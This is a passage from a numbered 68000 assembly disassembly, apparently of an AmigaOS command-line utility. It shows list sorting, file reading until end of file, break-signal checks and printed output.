  607.     ADD.L    D0,D1            ;05AA: D280
  608.     MOVE.L    D1,714(A2)        ;05AC: 254102CA
  609.     MOVE.L    A3,718(A2)        ;05B0: 254B02CE
  610.     MOVEQ    #4,D0            ;05B4: 7004
  611.     CMP.L    32(A2),D0        ;05B6: B0AA0020
  612.     BNE.S    LAB_004F        ;05BA: 660A
  613.     LEA    LAB_0028(PC),A0        ;05BC: 41FAFD6A
  614.     MOVE.L    A0,722(A2)        ;05C0: 254802D2
  615.     BRA.S    LAB_0050        ;05C4: 6008
  616. LAB_004F:
  617.     LEA    LAB_002A(PC),A0        ;05C6: 41FAFD6C
  618.     MOVE.L    A0,722(A2)        ;05CA: 254802D2
  619. LAB_0050:
  620.     LEA    714(A2),A3        ;05CE: 47EA02CA
  621.     MOVE.L    A3,-(A7)        ;05D2: 2F0B
  622.     MOVEA.L    326(A2),A0        ;05D4: 206A0146
  623.     LEA    LAB_002B(PC),A1        ;05D8: 43FAFD60
  624.     BSR    LAB_008D        ;05DC: 610006D6
  625.     ADDQ    #4,A7            ;05E0: 584F
  626.     LEA    LAB_002D(PC),A0        ;05E2: 41FAFD64
  627.     MOVE.L    A0,714(A2)        ;05E6: 254802CA
  628.     BTST    #3,293(A2)        ;05EA: 082A00030125
  629.     BEQ.S    LAB_0054        ;05F0: 6760
  630.     BSET    #7,293(A2)        ;05F2: 08EA00070125
  631.     BRA.S    LAB_0052        ;05F8: 6024
  632. LAB_0051:
  633.     MOVE.L    326(A2),D1        ;05FA: 222A0146
  634.     MOVE.L    A3,D2            ;05FE: 240B
  635.     MOVEA.L    4(A2),A6        ;0600: 2C6A0004
  636.     JSR    -954(A6)        ;0604: 4EAEFC46
  637.     LEA    LAB_002E(PC),A0        ;0608: 41FAFD40
  638.     MOVE.L    A0,D1            ;060C: 2208
  639.     MOVEQ    #0,D2            ;060E: 7400
  640.     JSR    -954(A6)        ;0610: 4EAEFC46
  641.     MOVEQ    #0,D0            ;0614: 7000
  642.     MOVE.L    D0,D1            ;0616: 2200
  643.     MOVEA.L    A2,A0            ;0618: 204A
  644.     BSR    LAB_0073        ;061A: 61000404
  645. LAB_0052:
  646.     BTST    #7,293(A2)        ;061E: 082A00070125
  647.     BNE.S    LAB_0051        ;0624: 66D4
  648.     BTST    #4,293(A2)        ;0626: 082A00040125
  649.     BEQ.S    LAB_0053        ;062C: 670A
  650.     BCLR    #4,293(A2)        ;062E: 08AA00040125
  651.     BRA    LAB_0060        ;0634: 6000018E
  652. LAB_0053:
  653.     MOVEA.L    -32(A5),A2        ;0638: 246DFFE0
  654.     BTST    #6,293(A2)        ;063C: 082A00060125
  655.     BNE    LAB_0071        ;0642: 660003C0
  656.     MOVEQ    #20,D0            ;0646: 7014
  657.     CMP.L    298(A2),D0        ;0648: B0AA012A
  658.     BNE.S    LAB_0055        ;064C: 661C
  659.     BRA    LAB_0071        ;064E: 600003B4
  660. LAB_0054:
  661.     MOVE.L    326(A2),D1        ;0652: 222A0146
  662.     MOVE.L    A3,D2            ;0656: 240B
  663.     MOVEA.L    4(A2),A6        ;0658: 2C6A0004
  664.     JSR    -954(A6)        ;065C: 4EAEFC46
  665.     LEA    LAB_002F(PC),A0        ;0660: 41FAFCEC
  666.     MOVE.L    A0,D1            ;0664: 2208
  667.     JSR    -948(A6)        ;0666: 4EAEFC4C
  668. LAB_0055:
  669.     MOVEA.L    -32(A5),A2        ;066A: 246DFFE0
  670.     MOVEQ    #33,D0            ;066E: 7021
  671.     AND.L    290(A2),D0        ;0670: C0AA0122
  672.     BEQ.S    LAB_0056        ;0674: 6730
  673.     MOVE.L    32(A2),D0        ;0676: 202A0020
  674.     TST.L    D0            ;067A: 4A80
  675.     BMI.S    LAB_0056        ;067C: 6B28
  676.     MOVE.L    D7,D0            ;067E: 2007
  677.     ADDQ.L    #1,D0            ;0680: 5280
  678.     MOVEA.L    A2,A0            ;0682: 204A
  679.     LEA    -28(A5),A1        ;0684: 43EDFFE4
  680.     BSR    LAB_0041        ;0688: 6100FDAE
  681.     BCLR    #3,24(A2)        ;068C: 08AA00030018
  682.     BTST    #6,293(A2)        ;0692: 082A00060125
  683.     BNE    LAB_0071        ;0698: 6600036A
  684.     MOVEQ    #20,D0            ;069C: 7014
  685.     CMP.L    298(A2),D0        ;069E: B0AA012A
  686.     BEQ    LAB_0071        ;06A2: 67000360
  687. LAB_0056:
  688.     MOVEA.L    -32(A5),A2        ;06A6: 246DFFE0
  689.     BTST    #2,293(A2)        ;06AA: 082A00020125
  690.     BEQ    LAB_005C        ;06B0: 670000BA
  691.     MOVE.L    32(A2),D0        ;06B4: 202A0020
  692.     TST.L    D0            ;06B8: 4A80
  693.     BPL    LAB_005C        ;06BA: 6A0000B0
  694.     MOVEQ    #40,D0            ;06BE: 7028
  695.     MOVE.L    #$00010001,D1        ;06C0: 223C00010001
  696.     MOVEA.L    (A2),A6            ;06C6: 2C52
  697.     JSR    -684(A6)        ;06C8: 4EAEFD54
  698.     MOVE.L    D0,734(A2)        ;06CC: 254002DE
  699.     TST.L    D0            ;06D0: 4A80
  700.     BNE.S    LAB_0057        ;06D2: 661E
  701.     MOVEA.L    4(A2),A6        ;06D4: 2C6A0004
  702.     JSR    -132(A6)        ;06D8: 4EAEFF7C
  703.     MOVE.L    D0,294(A2)        ;06DC: 25400126
  704.     LEA    LAB_0030(PC),A0        ;06E0: 41FAFC6E
  705.     MOVE.L    A0,D1            ;06E4: 2208
  706.     MOVEA.L    4(A2),A6        ;06E6: 2C6A0004
  707.     JSR    -948(A6)        ;06EA: 4EAEFC4C
  708.     BRA    LAB_0060        ;06EE: 600000D4
  709. LAB_0057:
  710.     MOVEA.L    -32(A5),A2        ;06F2: 246DFFE0
  711.     MOVEA.L    734(A2),A0        ;06F6: 206A02DE
  712.     ADDQ.L    #8,A0            ;06FA: 5088
  713.     LEA    36(A2),A1        ;06FC: 43EA0024
  714.     MOVEQ    #32,D0            ;0700: 7020
  715.     JSR    LAB_008F(PC)        ;0702: 4EBA05EC
  716.     MOVEA.L    734(A2),A0        ;0706: 206A02DE
  717.     MOVE.L    32(A2),4(A0)        ;070A: 216A00200004
  718.     LEA    -20(A5),A0        ;0710: 41EDFFEC
  719.     MOVE.L    A0,742(A2)        ;0714: 254802E6
  720.     MOVE.L    -20(A5),738(A2)        ;0718: 256DFFEC02E2
  721.     BRA.S    LAB_005A        ;071E: 6038
  722. LAB_0058:
  723.     MOVEA.L    738(A2),A0        ;0720: 206A02E2
  724.     ADDQ.L    #8,A0            ;0724: 5088
  725.     MOVEA.L    734(A2),A1        ;0726: 226A02DE
  726.     ADDQ.L    #8,A1            ;072A: 5089
  727.     JSR    LAB_0095(PC)        ;072C: 4EBA05DA
  728.     TST.L    D0            ;0730: 4A80
  729.     BLE.S    LAB_0059        ;0732: 6F14
  730.     MOVEA.L    734(A2),A0        ;0734: 206A02DE
  731.     MOVEA.L    742(A2),A1        ;0738: 226A02E6
  732.     MOVE.L    (A1),(A0)        ;073C: 2091
  733.     MOVEA.L    742(A2),A0        ;073E: 206A02E6
  734.     MOVE.L    734(A2),(A0)        ;0742: 20AA02DE
  735.     BRA.S    LAB_005B        ;0746: 6016
  736. LAB_0059:
  737.     MOVEA.L    -32(A5),A2        ;0748: 246DFFE0
  738.     MOVEA.L    738(A2),A0        ;074C: 206A02E2
  739.     MOVE.L    A0,742(A2)        ;0750: 254802E6
  740.     MOVE.L    (A0),738(A2)        ;0754: 255002E2
  741. LAB_005A:
  742.     TST.L    738(A2)            ;0758: 4AAA02E2
  743.     BNE.S    LAB_0058        ;075C: 66C2
  744. LAB_005B:
  745.     TST.L    738(A2)            ;075E: 4AAA02E2
  746.     BNE.S    LAB_005C        ;0762: 6608
  747.     MOVEA.L    742(A2),A0        ;0764: 206A02E6
  748.     MOVE.L    734(A2),(A0)        ;0768: 20AA02DE
  749. LAB_005C:
  750.     LEA    8(A2),A0        ;076C: 41EA0008
  751.     MOVE.L    A0,D1            ;0770: 2208
  752.     MOVEA.L    4(A2),A6        ;0772: 2C6A0004
  753.     JSR    -828(A6)        ;0776: 4EAEFCC4
  754.     MOVE.L    D0,D5            ;077A: 2A00
  755.     BTST    #0,292(A2)        ;077C: 082A00000124
  756.     BEQ.S    LAB_005F        ;0782: 673A
  757.     MOVE.L    D6,D1            ;0784: 2206
  758.     JSR    -126(A6)        ;0786: 4EAEFF82
  759.     MOVE.L    D0,D4            ;078A: 2800
  760.     LEA    330(A2),A0        ;078C: 41EA014A
  761.     MOVE.L    A0,D1            ;0790: 2208
  762.     JSR    -72(A6)            ;0792: 4EAEFFB8
  763.     TST.L    D0            ;0796: 4A80
  764.     BNE.S    LAB_005D        ;0798: 660E
  765.     JSR    -132(A6)        ;079A: 4EAEFF7C
  766.     MOVE.L    D0,D1            ;079E: 2200
  767.     MOVEQ    #0,D2            ;07A0: 7400
  768.     JSR    -474(A6)        ;07A2: 4EAEFE26
  769.     BRA.S    LAB_005E        ;07A6: 600A
  770. LAB_005D:
  771.     LEA    LAB_0031(PC),A0        ;07A8: 41FAFBBA
  772.     MOVE.L    A0,D1            ;07AC: 2208
  773.     JSR    -948(A6)        ;07AE: 4EAEFC4C
  774. LAB_005E:
  775.     MOVE.L    D4,D1            ;07B2: 2204
  776.     JSR    -126(A6)        ;07B4: 4EAEFF82
  777.     BCLR    #0,292(A2)        ;07B8: 08AA00000124
  778. LAB_005F:
  779.     TST.L    D5            ;07BE: 4A85
  780.     BEQ    LAB_004A        ;07C0: 6700FD4C
  781. LAB_0060:
  782.     CMPI.L    #$00000130,D5        ;07C4: 0C8500000130
  783.     BNE.S    LAB_0061        ;07CA: 6618
  784.     MOVE.L    #$00000130,294(A2)    ;07CC: 257C000001300126
  785.     MOVEQ    #5,D0            ;07D4: 7005
  786.     MOVE.L    D0,298(A2)        ;07D6: 2540012A
  787.     MOVEQ    #64,D0            ;07DA: 7040
  788.     MOVE.L    D0,290(A2)        ;07DC: 25400122
  789.     BRA    LAB_0071        ;07E0: 60000222
  790. LAB_0061:
  791.     MOVEA.L    -32(A5),A2        ;07E4: 246DFFE0
  792.     BTST    #6,293(A2)        ;07E8: 082A00060125
  793.     BNE    LAB_0071        ;07EE: 66000214
  794.     MOVEA.L    -32(A5),A2        ;07F2: 246DFFE0
  795.     MOVEQ    #116,D0            ;07F6: 7074
  796.     ADD.L    D0,D0            ;07F8: D080
  797.     CMP.L    D0,D5            ;07FA: BA80
  798.     BEQ.S    LAB_0062        ;07FC: 670C
  799.     MOVEA.L    4(A2),A6        ;07FE: 2C6A0004
  800.     JSR    -132(A6)        ;0802: 4EAEFF7C
  801.     MOVE.L    D0,294(A2)        ;0806: 25400126
  802. LAB_0062:
  803.     MOVEQ    #0,D0            ;080A: 7000
  804.     MOVE.L    D0,298(A2)        ;080C: 2540012A
  805.     MOVE.L    -20(A5),734(A2)        ;0810: 256DFFEC02DE
  806.     MOVE.L    D0,722(A2)        ;0816: 254002D2
  807.     MOVEQ    #1,D5            ;081A: 7A01
  808.     BRA    LAB_006F        ;081C: 600001BE
  809. LAB_0063:
  810.     BTST    #3,293(A2)        ;0820: 082A00030125
  811.     BEQ    LAB_0069        ;0826: 670000CA
  812.     MOVE.L    D7,D0            ;082A: 2007
  813.     LSL.L    #2,D0            ;082C: E588
  814.     ADD.L    D7,D0            ;082E: D087
  815.     ADDQ.L    #2,D0            ;0830: 5480
  816.     MOVE.L    D0,714(A2)        ;0832: 254002CA
  817.     MOVEA.L    734(A2),A3        ;0836: 266A02DE
  818.     LEA    8(A3),A0        ;083A: 41EB0008
  819.     MOVE.L    A0,718(A2)        ;083E: 254802CE
  820.     LEA    LAB_001D+2(PC),A0    ;0842: 41FAFA80
  821.     MOVE.L    A0,722(A2)        ;0846: 254802D2
  822.     MOVE.L    4(A3),D0        ;084A: 202B0004
  823.     MOVEQ    #-4,D1            ;084E: 72FC
  824.     CMP.L    D1,D0            ;0850: B081
  825.     BNE.S    LAB_0064        ;0852: 6608
  826.     LEA    LAB_0032(PC),A0        ;0854: 41FAFB18
  827.     MOVE.L    A0,722(A2)        ;0858: 254802D2
  828. LAB_0064:
  829.     MOVEQ    #3,D0            ;085C: 7003
  830.     CMP.L    4(A3),D0        ;085E: B0AB0004
  831.     BNE.S    LAB_0065        ;0862: 6608
  832.     LEA    LAB_0033(PC),A0        ;0864: 41FAFB0E
  833.     MOVE.L    A0,722(A2)        ;0868: 254802D2
  834. LAB_0065:
  835.     LEA    714(A2),A3        ;086C: 47EA02CA
  836.     MOVE.L    A3,-(A7)        ;0870: 2F0B
  837.     MOVEA.L    326(A2),A0        ;0872: 206A0146
  838.     LEA    LAB_0035(PC),A1        ;0876: 43FAFB02
  839.     BSR    LAB_008D        ;087A: 61000438
  840.     LEA    LAB_002D(PC),A0        ;087E: 41FAFAC8
  841.     MOVE.L    A0,714(A2)        ;0882: 254802CA
  842.     BSET    #7,293(A2)        ;0886: 08EA00070125
  843.     LEA    330(A2),A0        ;088C: 41EA014A
  844.     MOVEA.L    734(A2),A1        ;0890: 226A02DE
  845.     ADDQ.L    #8,A1            ;0894: 5089
  846.     MOVEQ    #64,D0            ;0896: 7040
  847.     ADD.L    D0,D0            ;0898: D080
  848.     JSR    LAB_008F(PC)        ;089A: 4EBA0454
  849.     ADDQ    #4,A7            ;089E: 584F
  850.     BRA.S    LAB_0067        ;08A0: 6024
  851. LAB_0066:
  852.     MOVE.L    326(A2),D1        ;08A2: 222A0146
  853.     MOVE.L    A3,D2            ;08A6: 240B
  854.     MOVEA.L    4(A2),A6        ;08A8: 2C6A0004
  855.     JSR    -954(A6)        ;08AC: 4EAEFC46
  856.     LEA    LAB_002E(PC),A0        ;08B0: 41FAFA98
  857.     MOVE.L    A0,D1            ;08B4: 2208
  858.     MOVEQ    #0,D2            ;08B6: 7400
  859.     JSR    -954(A6)        ;08B8: 4EAEFC46
  860.     MOVE.L    D6,D0            ;08BC: 2006
  861.     MOVEQ    #1,D1            ;08BE: 7201
  862.     MOVEA.L    A2,A0            ;08C0: 204A
  863.     BSR    LAB_0073        ;08C2: 6100015C
  864. LAB_0067:
  865.     BTST    #7,293(A2)        ;08C6: 082A00070125
  866.     BNE.S    LAB_0066        ;08CC: 66D4
  867.     BTST    #4,293(A2)        ;08CE: 082A00040125
  868.     BEQ.S    LAB_0068        ;08D4: 670A
  869.     BCLR    #4,293(A2)        ;08D6: 08AA00040125
  870.     BRA    LAB_0071        ;08DC: 60000126
  871. LAB_0068:
  872.     MOVEA.L    -32(A5),A2        ;08E0: 246DFFE0
  873.     BTST    #6,293(A2)        ;08E4: 082A00060125
  874.     BEQ    LAB_006E        ;08EA: 670000E4
  875.     BRA    LAB_0071        ;08EE: 60000114
  876. LAB_0069:
  877.     MOVE.L    #$00001000,D1        ;08F2: 223C00001000
  878.     MOVEA.L    4(A2),A6        ;08F8: 2C6A0004
  879.     JSR    -792(A6)        ;08FC: 4EAEFCE8
  880.     TST.L    D0            ;0900: 4A80
  881.     BEQ.S    LAB_006A        ;0902: 6718
  882.     MOVEQ    #64,D0            ;0904: 7040
  883.     MOVE.L    D0,290(A2)        ;0906: 25400122
  884.     MOVEQ    #5,D0            ;090A: 7005
  885.     MOVE.L    D0,298(A2)        ;090C: 2540012A
  886.     MOVE.L    #$00000130,294(A2)    ;0910: 257C000001300126
  887.     BRA    LAB_0071        ;0918: 600000EA
  888. LAB_006A:
  889.     MOVEA.L    -32(A5),A2        ;091C: 246DFFE0
  890.     MOVE.L    D5,D0            ;0920: 2005
  891.     MOVEQ    #1,D1            ;0922: 7201
  892.     AND.L    D1,D0            ;0924: C081
  893.     ASL.L    #7,D0            ;0926: EF80
  894.     MOVEA.L    A2,A0            ;0928: 204A
  895.     ADDA.L    D0,A0            ;092A: D1C0
  896.     LEA    458(A0),A3        ;092C: 47E801CA
  897.     MOVEA.L    734(A2),A0        ;0930: 206A02DE
  898.     ADDQ.L    #8,A0            ;0934: 5088
  899.     MOVEA.L    A0,A1            ;0936: 2248
  900.     MOVEQ    #32,D0            ;0938: 7020
  901.     MOVEA.L    A3,A0            ;093A: 204B
  902.     JSR    LAB_008F(PC)        ;093C: 4EBA03B2
  903.     MOVEA.L    734(A2),A0        ;0940: 206A02DE
  904.     MOVEQ    #-4,D0            ;0944: 70FC
  905.     CMP.L    4(A0),D0        ;0946: B0A80004
  906.     BNE.S    LAB_006B        ;094A: 660A
  907.     MOVEA.L    A3,A0            ;094C: 204B
  908.     LEA    LAB_0032(PC),A1        ;094E: 43FAFA1E
  909.     JSR    LAB_009A(PC)        ;0952: 4EBA03E8
  910. LAB_006B:
  911.     MOVEA.L    734(A2),A0        ;0956: 206A02DE
  912.     MOVEQ    #3,D0            ;095A: 7003
  913.     CMP.L    4(A0),D0        ;095C: B0A80004
  914.     BNE.S    LAB_006C        ;0960: 660A
  915.     MOVEA.L    A3,A0            ;0962: 204B
  916.     LEA    LAB_0033(PC),A1        ;0964: 43FAFA0E
  917.     JSR    LAB_009A(PC)        ;0968: 4EBA03D2
  918. LAB_006C:
  919.     MOVE.L    D5,D0            ;096C: 2005
  920.     ASL.L    #2,D0            ;096E: E580
  921.     MOVE.L    D0,D1            ;0970: 2200
  922.     ADDI.L    #$000002CA,D1        ;0972: 0681000002CA
  923.     MOVE.L    A3,0(A2,D1.L)        ;0978: 258B1800
  924.     MOVEQ    #3,D0            ;097C: 7003
  925.     SUB.L    D5,D0            ;097E: 9085
  926.     MOVE.L    D0,D5            ;0980: 2A00
  927.     MOVEQ    #1,D0            ;0982: 7001
  928.     CMP.L    D0,D5            ;0984: BA80
  929.     BEQ.S    LAB_006D        ;0986: 6708
  930.     MOVEA.L    734(A2),A0        ;0988: 206A02DE
  931.     TST.L    (A0)            ;098C: 4A90
  932.     BNE.S    LAB_006E        ;098E: 6640
  933. LAB_006D:
  934.     MOVE.L    D7,D0            ;0990: 2007
  935.     LSL.L    #2,D0            ;0992: E588
  936.     ADD.L    D7,D0            ;0994: D087
  937.     ADDQ.L    #2,D0            ;0996: 5480
  938.     MOVE.L    D0,714(A2)        ;0998: 254002CA
  939.     LEA    714(A2),A0        ;099C: 41EA02CA
  940.     MOVE.L    A0,-(A7)        ;09A0: 2F08
  941.     MOVE.L    A0,40(A7)        ;09A2: 2F480028
  942.     MOVEA.L    326(A2),A0        ;09A6: 206A0146
  943.     LEA    LAB_0038(PC),A1        ;09AA: 43FAF9DC
  944.     BSR    LAB_008D        ;09AE: 61000304
  945.     ADDQ    #4,A7            ;09B2: 584F
  946.     LEA    LAB_002D(PC),A0        ;09B4: 41FAF992
  947.     MOVE.L    A0,714(A2)        ;09B8: 254802CA
  948.     MOVE.L    326(A2),D1        ;09BC: 222A0146
  949.     MOVE.L    36(A7),D2        ;09C0: 242F0024
  950.     MOVEA.L    4(A2),A6        ;09C4: 2C6A0004
  951.     JSR    -954(A6)        ;09C8: 4EAEFC46
  952.     CLR.L    722(A2)            ;09CC: 42AA02D2
  953. LAB_006E:
  954.     MOVEA.L    -32(A5),A2        ;09D0: 246DFFE0
  955.     MOVEA.L    734(A2),A0        ;09D4: 206A02DE
  956.     MOVE.L    (A0),734(A2)        ;09D8: 255002DE
  957. LAB_006F:
  958.     TST.L    734(A2)            ;09DC: 4AAA02DE
  959.     BEQ.S    LAB_0071        ;09E0: 6722
  960.     TST.L    298(A2)            ;09E2: 4AAA012A
  961.     BEQ    LAB_0063        ;09E6: 6700FE38
  962.     BRA.S    LAB_0071        ;09EA: 6018
  963. LAB_0070:
  964.     MOVEA.L    -20(A5),A0        ;09EC: 206DFFEC
  965.     MOVE.L    (A0),734(A2)        ;09F0: 255002DE
  966.     MOVEA.L    -20(A5),A1        ;09F4: 226DFFEC
  967.     MOVEA.L    (A2),A6            ;09F8: 2C52
  968.     JSR    -690(A6)        ;09FA: 4EAEFD4E
  969.     MOVE.L    734(A2),-20(A5)        ;09FE: 2B6A02DEFFEC
  970. LAB_0071:
  971.     TST.L    -20(A5)            ;0A04: 4AADFFEC
  972.     BNE.S    LAB_0070        ;0A08: 66E2
  973.     TST.L    D6            ;0A0A: 4A86
  974.     BEQ.S    LAB_0072        ;0A0C: 670A
  975.     MOVE.L    D6,D1            ;0A0E: 2206
  976.     MOVEA.L    4(A2),A6        ;0A10: 2C6A0004
  977.     JSR    -90(A6)            ;0A14: 4EAEFFA6
  978. LAB_0072:
  979.     MOVEM.L    (A7)+,D2-D7/A2-A3/A6    ;0A18: 4CDF4CFC
  980.     UNLK    A5            ;0A1C: 4E5D
  981.     RTS                ;0A1E: 4E75
  982. LAB_0073:
  983.     LINK    A5,#-36            ;0A20: 4E55FFDC
  984.     MOVEM.L    D2-D3/D6-D7/A2-A3/A6,-(A7) ;0A24: 48E73332
  985.     MOVEA.L    A0,A3            ;0A28: 2648
  986.     MOVE.L    D0,D7            ;0A2A: 2E00
  987.     MOVE.L    D1,D6            ;0A2C: 2C01
  988.     MOVEQ    #0,D0            ;0A2E: 7000
  989.     MOVE.L    D0,298(A3)        ;0A30: 2740012A
  990.     BSET    #7,293(A3)        ;0A34: 08EB00070125
  991.     MOVEQ    #23,D0            ;0A3A: 7017
  992.     MOVEQ    #0,D1            ;0A3C: 7200
  993.     LEA    -28(A5),A0        ;0A3E: 41EDFFE4
  994. LAB_0074:
  995.     MOVE.B    D1,(A0)+        ;0A42: 10C1
  996.     DBF    D0,LAB_0074        ;0A44: 51C8FFFC
  997.     MOVEA.L    4(A3),A6        ;0A48: 2C6B0004
  998.     JSR    -60(A6)            ;0A4C: 4EAEFFC4
  999.     MOVE.L    D0,D1            ;0A50: 2200
  1000.     JSR    -360(A6)        ;0A52: 4EAEFE98
  1001.     MOVEQ    #64,D0            ;0A56: 7040
  1002.     ADD.L    D0,D0            ;0A58: D080
  1003.     MOVE.L    #$00010001,D1        ;0A5A: 223C00010001
  1004.     MOVEA.L    (A3),A6            ;0A60: 2C53
  1005.     JSR    -684(A6)        ;0A62: 4EAEFD54
  1006.     MOVE.L    D0,28(A7)        ;0A66: 2F40001C
  1007.     TST.L    D0            ;0A6A: 4A80
  1008.     BNE.S    LAB_0075        ;0A6C: 6624
  1009.     MOVEA.L    4(A3),A6        ;0A6E: 2C6B0004
  1010.     JSR    -132(A6)        ;0A72: 4EAEFF7C
  1011.     MOVE.L    D0,294(A3)        ;0A76: 27400126
  1012.     LEA    LAB_0030(PC),A0        ;0A7A: 41FAF8D4
  1013.     MOVE.L    A0,D1            ;0A7E: 2208
  1014.     MOVEA.L    4(A3),A6        ;0A80: 2C6B0004
  1015.     JSR    -948(A6)        ;0A84: 4EAEFC4C
  1016.     MOVEQ    #20,D0            ;0A88: 7014
  1017.     MOVE.L    D0,298(A3)        ;0A8A: 2740012A
  1018.     BRA    LAB_008B        ;0A8E: 6000020E
  1019. LAB_0075:
  1020.     TST.L    D6            ;0A92: 4A86
  1021.     BNE.S    LAB_0076        ;0A94: 661A
  1022.     LEA    LAB_003A(PC),A0        ;0A96: 41FAF904
  1023.     MOVE.L    A0,D1            ;0A9A: 2208
  1024.     LEA    -28(A5),A1        ;0A9C: 43EDFFE4
  1025.     MOVE.L    A1,D2            ;0AA0: 2409
  1026.     MOVEQ    #0,D3            ;0AA2: 7600
  1027.     MOVEA.L    4(A3),A6        ;0AA4: 2C6B0004
  1028.     JSR    -798(A6)        ;0AA8: 4EAEFCE2
  1029.     MOVEA.L    D0,A2            ;0AAC: 2440
  1030.     BRA.S    LAB_0077        ;0AAE: 6018
  1031. LAB_0076:
  1032.     LEA    LAB_003E(PC),A0        ;0AB0: 41FAF924
  1033.     MOVE.L    A0,D1            ;0AB4: 2208
  1034.     LEA    -28(A5),A1        ;0AB6: 43EDFFE4
  1035.     MOVE.L    A1,D2            ;0ABA: 2409
  1036.     MOVEQ    #0,D3            ;0ABC: 7600
  1037.     MOVEA.L    4(A3),A6        ;0ABE: 2C6B0004
  1038.     JSR    -798(A6)        ;0AC2: 4EAEFCE2
  1039.     MOVEA.L    D0,A2            ;0AC6: 2440
  1040. LAB_0077:
  1041.     MOVE.L    A2,D0            ;0AC8: 200A
  1042.     BNE.S    LAB_0078        ;0ACA: 6612
  1043.     JSR    -132(A6)        ;0ACC: 4EAEFF7C
  1044.     MOVE.L    D0,294(A3)        ;0AD0: 27400126
  1045.     MOVEQ    #20,D0            ;0AD4: 7014
  1046.     MOVE.L    D0,298(A3)        ;0AD6: 2740012A
  1047.     BRA    LAB_008A        ;0ADA: 600001B8
  1048. LAB_0078:
  1049.     TST.L    -28(A5)            ;0ADE: 4AADFFE4
  1050.     BEQ    LAB_007E        ;0AE2: 67000090
  1051.     MOVEQ    #1,D0            ;0AE6: 7001
  1052.     CMP.L    D0,D6            ;0AE8: BC80
  1053.     BNE    LAB_007E        ;0AEA: 66000088
  1054.     MOVE.L    D7,D1            ;0AEE: 2207
  1055.     JSR    -126(A6)        ;0AF0: 4EAEFF82
  1056.     MOVE.L    D0,D6            ;0AF4: 2C00
  1057.     LEA    330(A3),A0        ;0AF6: 41EB014A
  1058.     MOVE.L    A0,D1            ;0AFA: 2208
  1059.     MOVE.L    #$000003ED,D2        ;0AFC: 243C000003ED
  1060.     JSR    -30(A6)            ;0B02: 4EAEFFE2
  1061.     MOVE.L    D0,D7            ;0B06: 2E00
  1062.     TST.L    D7            ;0B08: 4A87
  1063.     BNE.S    LAB_007B        ;0B0A: 663C
  1064.     JSR    -132(A6)        ;0B0C: 4EAEFF7C
  1065.     MOVE.L    D0,294(A3)        ;0B10: 27400126
  1066.     MOVEQ    #20,D0            ;0B14: 7014
  1067.     MOVE.L    D0,298(A3)        ;0B16: 2740012A
  1068.     BRA.S    LAB_007D        ;0B1A: 604A
  1069. LAB_0079:
  1070.     MOVE.L    #$00001000,D1        ;0B1C: 223C00001000
  1071.     MOVEA.L    4(A3),A6        ;0B22: 2C6B0004
  1072.     JSR    -792(A6)        ;0B26: 4EAEFCE8
  1073.     TST.L    D0            ;0B2A: 4A80
  1074.     BEQ.S    LAB_007A        ;0B2C: 670E
  1075.     MOVE.L    #$00000130,D1        ;0B2E: 223C00000130
  1076.     MOVEQ    #0,D2            ;0B34: 7400
  1077.     JSR    -474(A6)        ;0B36: 4EAEFE26
  1078.     BRA.S    LAB_007C        ;0B3A: 6020
  1079. LAB_007A:
  1080.     LEA    -29(A5),A0        ;0B3C: 41EDFFE3
  1081.     MOVE.L    A0,D1            ;0B40: 2208
  1082.     MOVEQ    #1,D2            ;0B42: 7401
  1083.     JSR    -942(A6)        ;0B44: 4EAEFC52
  1084. LAB_007B:
  1085.     MOVE.L    D7,D1            ;0B48: 2207
  1086.     MOVEA.L    4(A3),A6        ;0B4A: 2C6B0004
  1087.     JSR    -306(A6)        ;0B4E: 4EAEFECE
  1088.     MOVE.B    D0,-29(A5)        ;0B52: 1B40FFE3
  1089.     CMPI.B    #$FF,D0            ;0B56: 0C0000FF
  1090.     BNE.S    LAB_0079        ;0B5A: 66C0
  1091. LAB_007C:
  1092.     MOVE.L    D7,D1            ;0B5C: 2207
  1093.     MOVEA.L    4(A3),A6        ;0B5E: 2C6B0004
  1094.     JSR    -36(A6)            ;0B62: 4EAEFFDC
  1095. LAB_007D:
  1096.     MOVE.L    D6,D1            ;0B66: 2206
  1097.     MOVEA.L    4(A3),A6        ;0B68: 2C6B0004
  1098.     JSR    -126(A6)        ;0B6C: 4EAEFF82
  1099.     BRA    LAB_0089        ;0B70: 60000118
  1100. LAB_007E:
  1101.     TST.L    -12(A5)            ;0B74: 4AADFFF4
  1102.     BEQ.S    LAB_0080        ;0B78: 676C
  1103.     MOVE.L    -8(A5),D0        ;0B7A: 202DFFF8
  1104.     BEQ.S    LAB_007F        ;0B7E: 671C
  1105.     MOVE.L    D0,D1            ;0B80: 2200
  1106.     MOVEQ    #0,D2            ;0B82: 7400
  1107.     MOVE.L    D2,D3            ;0B84: 2602
  1108.     MOVEA.L    4(A3),A6        ;0B86: 2C6B0004
  1109.     JSR    -222(A6)        ;0B8A: 4EAEFF22
  1110.     LEA    LAB_002F(PC),A0        ;0B8E: 41FAF7BE
  1111.     MOVE.L    A0,D1            ;0B92: 2208
  1112.     JSR    -948(A6)        ;0B94: 4EAEFC4C
  1113.     BRA    LAB_0089        ;0B98: 600000F0
  1114. LAB_007F:
  1115.     LEA    LAB_003F(PC),A0        ;0B9C: 41FAF870
  1116.     MOVE.L    A0,D1            ;0BA0: 2208
  1117.     MOVEA.L    4(A3),A6        ;0BA2: 2C6B0004
  1118.     JSR    -948(A6)        ;0BA6: 4EAEFC4C
  1119.     JSR    -60(A6)            ;0BAA: 4EAEFFC4
  1120.     MOVE.L    D0,D1            ;0BAE: 2200
  1121.     JSR    -360(A6)        ;0BB0: 4EAEFE98
  1122.     JSR    -54(A6)            ;0BB4: 4EAEFFCA
  1123.     MOVE.L    D0,D1            ;0BB8: 2200
  1124.     MOVE.L    28(A7),D2        ;0BBA: 242F001C
  1125.     MOVE.L    #$00000800,D3        ;0BBE: 263C00000800
  1126.     JSR    -336(A6)        ;0BC4: 4EAEFEB0
  1127.     TST.L    D0            ;0BC8: 4A80
  1128.     BEQ    LAB_0089        ;0BCA: 670000BE
  1129.     MOVE.L    D2,D1            ;0BCE: 2202
  1130.     MOVEQ    #0,D2            ;0BD0: 7400
  1131.     MOVE.L    D2,D3            ;0BD2: 2602
  1132.     JSR    -222(A6)        ;0BD4: 4EAEFF22
  1133.     LEA    LAB_002F(PC),A0        ;0BD8: 41FAF774
  1134.     MOVE.L    A0,D1            ;0BDC: 2208
  1135.     JSR    -948(A6)        ;0BDE: 4EAEFC4C
  1136.     BRA    LAB_0089        ;0BE2: 600000A6
  1137. LAB_0080:
  1138.     TST.L    -8(A5)            ;0BE6: 4AADFFF8
